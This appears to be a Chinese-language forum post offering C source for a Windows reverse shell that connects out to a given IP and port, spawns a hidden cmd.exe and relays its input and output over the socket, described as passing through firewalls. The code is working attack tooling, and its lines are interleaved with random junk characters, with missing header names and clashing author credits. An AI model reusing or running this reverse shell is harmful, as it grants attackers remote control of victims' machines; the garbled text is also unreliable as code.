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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 7$+n"Cfm  
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/* ============================== K.n #;|  
Rebound port in Windows NT v&%GK5j7O  
By wind,2006/7 <XX\4[wb  
===============================*/ )R+@vh#Q<$  
#include Q i#%&Jz>f  
#include eXWiTi@  
s!``OyI/Z  
#pragma comment(lib,"wsock32.lib") {n=)<w  
J (Yfup  
void OutputShell(); lqa.Nj  
SOCKET sClient; s (J,TS#I]  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; bN@V=C3  
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void main(int argc,char **argv) .R;HH_  
{ |j$&W;yC  
WSADATA stWsaData; "?hEGJ;m"  
int nRet; dU\,>3tG  
SOCKADDR_IN stSaiClient,stSaiServer; 5b R;R{:x  
wj9CL1Gx  
if(argc != 3) 0: R}  
{ =xWZJ:UnU  
printf("Useage:\n\rRebound DestIP DestPort\n"); 7-.Y VM~R  
return; ~mx me6"v  
} k5]s~* ,0  
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WSAStartup(MAKEWORD(2,2),&stWsaData); W~k"`g7uu  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K?,eIZ{.S  
$&Ng*oX  
stSaiClient.sin_family = AF_INET; kXA o+l  
stSaiClient.sin_port = htons(0); -mOSB(#bo  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); aG}ju;  
E!&A[TlX\  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >xws  
{ `Lb^!6`)  
printf("Bind Socket Failed!\n"); -$J\BkI  
return; U0q{8 "Pl  
} RrRrB"!8nR  
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stSaiServer.sin_family = AF_INET; *P_(hG&c  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); jt?4raNW  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ;3OQgKI  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0m $f9b|Q?  
{ n]?Yv E  
printf("Connect Error!"); ?*|AcMw5  
return; RiqYC3Ka  
} Q{T6t;eH  
OutputShell(); '8K5=|!J  
} m.e+S,i  
t=o0 #jo  
void OutputShell() =<R")D]4z  
{ <|[G=GA\S!  
char szBuff[1024]; S.1\e"MfI  
SECURITY_ATTRIBUTES stSecurityAttributes; ?pn<lW8d  
OSVERSIONINFO stOsversionInfo; QE*O~Yj  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; A(G%9'T  
STARTUPINFO stStartupInfo; =B<>H$  
char *szShell; M3ihtY  
PROCESS_INFORMATION stProcessInformation; ~=91Kxf  
unsigned long lBytesRead; pQAG%i^mF  
9W88_rE'e}  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4$.$j=Ct."  
'NHtCs=F   
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); g"aWt% P  
stSecurityAttributes.lpSecurityDescriptor = 0;  al/Mgo  
stSecurityAttributes.bInheritHandle = TRUE; jA_w OR7$  
~XGBE  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); f.8Jp<S2K  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )Be?axI  
5Z"IM8?  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Agt6G\ n  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s+IU%y/9$a  
stStartupInfo.wShowWindow = SW_HIDE; [mwJ*GJ-  
stStartupInfo.hStdInput = hReadPipe; 4Gz5Ju  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^f*}]`S  
[5%/{W,~m  
GetVersionEx(&stOsversionInfo); X$JO<@x  
.}fc*2.'  
switch(stOsversionInfo.dwPlatformId) VmQ7M4j*  
{ h3;Ij'  
case 1: 7YbI|~  
szShell = "command.com"; l,/q# )5[  
break; aMTY{  
default: y? [*qnPj  
szShell = "cmd.exe"; tC+9W1o  
break; QnxkD)f*0  
} [Hdk=p  
yZ&By?.0  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;hs:wLVa"  
whNRUOK:  
send(sClient,szMsg,77,0); I#l9  
while(1) ,Ucb)8a  
{ ZNB*Azi  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 89l_%To  
if(lBytesRead) lGB7(  
{ nVG\*#*]|  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); V`69%35*@  
send(sClient,szBuff,lBytesRead,0); G%YD2<V  
} _0F6mg n  
else zJ9ZqC]  
{ zi>f436-  
lBytesRead=recv(sClient,szBuff,1024,0); uMsKF%m  
if(lBytesRead<=0) break; E08AZOY&g  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 9+QLcb  
} pq5)Ug  
} J=K3S9:n]g  
v,>F0ofJ  
return; q){]fp.,@  
}
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